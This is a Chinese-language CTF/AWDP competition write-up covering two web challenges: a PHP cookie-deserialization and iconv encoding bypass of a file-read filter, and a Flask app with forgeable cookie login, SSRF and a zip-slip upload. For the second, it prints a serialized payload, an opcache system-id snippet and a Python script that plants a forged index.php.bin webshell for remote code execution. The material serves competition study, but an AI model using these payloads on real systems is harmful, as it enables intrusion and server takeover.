前情概要 遗憾三等奖,止步半决赛,赛前其实还挺有信心的,感觉修复就那点流程,结果被python给制裁了,再加上渗透打的一坨
题目分析 awdp BREAK 一道比较简单的php,漏洞点比较明显,看一眼关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 if (isset ($_COOKIE ['user' ])) { $user = @unserialize ($_COOKIE ['user' ]); }if (!$user instanceof User) { $user = new User ("guest" ); setcookie ("user" , serialize ($user ), time () + 86400 , "/" ); }$f = (string )($_GET ['f' ] ?? "" );if ($f === "" ) { http_response_code (400 ); echo "Missing parameter: f" ; exit ; }$rawPath = $user ->basePath . $f ;if (preg_match ('/flag|\/flag|\.\.|php:|data:|expect:/i' , $rawPath )) { http_response_code (403 ); echo "Access denied" ; exit ; }$convertedPath = @iconv ($user ->encoding, "UTF-8//IGNORE" , $rawPath );if ($convertedPath === false || $convertedPath === "" ) { http_response_code (500 ); echo "Conversion failed" ; exit ; }$content = @file_get_contents ($convertedPath );if ($content === false ) { http_response_code (404 ); echo "Not found" ; exit ; }
重点看$convertedPath的生成逻辑,是由$rawPath = $user->basePath . $f;,然后转成UTF-8
那么继续看$rawPath可不可控,显然后半段$f是可控的,前半段是User的类对象的一个属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php declare (strict_types=1 );class User { public string $name = "guest" ; public string $encoding = "UTF-8" ; public string $basePath = "/var/www/html/uploads/" ; public function __construct (string $name = "guest" ) { $this ->name = $name ; } }
虽然写死了,但是因为$user是从cookie里面拿出来然后反序列化的,所以我们可以通过反序列化改他的属性
1 O :4 :"User" :3 :{s:4 :"name" ;s:5 :"guest" ;s:8 :"encoding" ;s:15 :"ISO-2022-CN-EXT" ;s:8 :"basePath" ;s:1 :"/" ;}
那么现在$rawPath就完全可控了,但是想要读flag还得过一个waf,这里有一个很明显的点,它过了一层waf再做编码转换,很显然顺序有问题,可以通过编码来绕过
查一下iconv函数
我们只需要找到一个UTF-8没办法表示的字符就行了,这里用€就可以
我们令f=fl€ag,就可以绕过
FIX 修复很简单,可以直接把反序列化删了,也可以上一个强力waf
easy_time BREAK 这题是赛后复现的,有两种做法,事实上本来只有一种做法的,这点待会说
首先看他的登录逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if flask.request.method == 'POST' : username = flask.request.form.get('username' , '' ) password = flask.request.form.get('password' , '' ) h1 = hashlib.md5(password.encode('utf-8' )).hexdigest() h2 = hashlib.md5(h1.encode('utf-8' )).hexdigest() next_url = flask.request.args.get("next" ) or flask.url_for("dashboard" ) if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde" : resp = flask.make_response(flask.redirect(next_url)) resp.set_cookie('visited' , 'yes' , httponly=True , samesite='Lax' ) resp.set_cookie('user' , username, httponly=True , samesite='Lax' ) return resp
这个密码的hash是可以爆破的,爆出来是secret
当然也不可以不用爆破,因为他的身份验证模块是纸糊的
1 2 def is_logged_in () -> bool : return flask.request.cookies.get("visited" ) == "yes" and bool (flask.request.cookies.get("user" ))
既然登录不成问题了,我们继续分析登录后的功能点
很容易看到三个功能点在about页面里面有一个很明显的ssrf,不用看代码也能发现
看源码可以发现内网是有php服务,那么我们就可以从这里访问内网的php服务
我们再看上传插件的代码
1 2 3 4 5 6 7 8 9 10 def safe_upload (zip_path: Path, dest_dir: Path ) -> list [str ]: with zipfile.ZipFile(zip_path, 'r' ) as z: for info in z.infolist(): target = os.path.join(dest_dir, info.filename) if info.is_dir(): os.makedirs(target, exist_ok=True ) else : os.makedirs(os.path.dirname(target), exist_ok=True ) with open (target, 'wb' ) as f: f.write(z.read(info.filename))
一眼目录穿越,那么这里就有了第一种解法(事实上源码里写了一个安全的没有问题的上传函数,咱也不知道为啥他不用那个函数)
直接传马到/var/www/html/1.php,然后利用ssrf访问,读一下flag就行。
到这里这题就已经能打出来了,比赛的时候大部分人应该也是这样打出来的,但是这很明显是非预期解,证据如下:
题目的描述为:你知道时间的真谛吗?
如果你用他给的dockerfile起环境你就会发现,他的所有目录都是只读的,除了一些单列出来的目录,压根没法把马传到/var/www/html下面
那么就来到了这题的第二种解法,也是预期解。他给的附件里有三个php文件
date.php 返回index.php的时间戳
index.php 没啥东西
phpinfo.php 返回phpinfo
并且它的dockerfile里面写了:RUN docker-php-ext-configure opcache --enable-opcache && docker-php-ext-install opcache
可以猜到是打opcache来getshell,翻阅一下他的php.ini也可以发现opcache开了
打opcache需要两个东西,时间戳和systemid
时间戳可以访问date.php得到index.php的时间戳,那肯定是覆盖index.php.bin了
systemid可以使用如下脚本生成(php版本号+API)
1 2 <?php var_dump (md5 ("8.2.15API420220829,NTSBIN_4888(size_t)8\002" ));
这里都有了之后我们只现自己起个环境生成一个内容是一句话木马的index.php.bin文件,然后修改掉systemid和时间戳
php的配置文件写了opcache的目录是/tmp,所以我们要把文件传到/tmp/system_id/var/www/html/index.php.bin
1 2 3 4 5 6 import zipfilewith zipfile.ZipFile("upload.zip" ,'w' ) as zf: data = open ('index.php.bin' ,'rb' ).read() zf.writestr('../../../../../../../../../../tmp/45b8be9467d6ed29438f06cfe9cee9f6/var/www/html/index.php.bin' ,data)
从上传插件处上传zip,再从ssrf访问
成功rce
FIX 修复真的很难评,浙江赛区全场就两个队修了,其他赛区貌似也没有情况更好的,python害我!
ISW 没啥好说了,渗透小菜鸡,只打了个shiro反序列化拿了一个flag
总结 平时少用ai一把梭,多看看代码,写写代码。一直在说要练渗透,一直没行动,该提上日程了。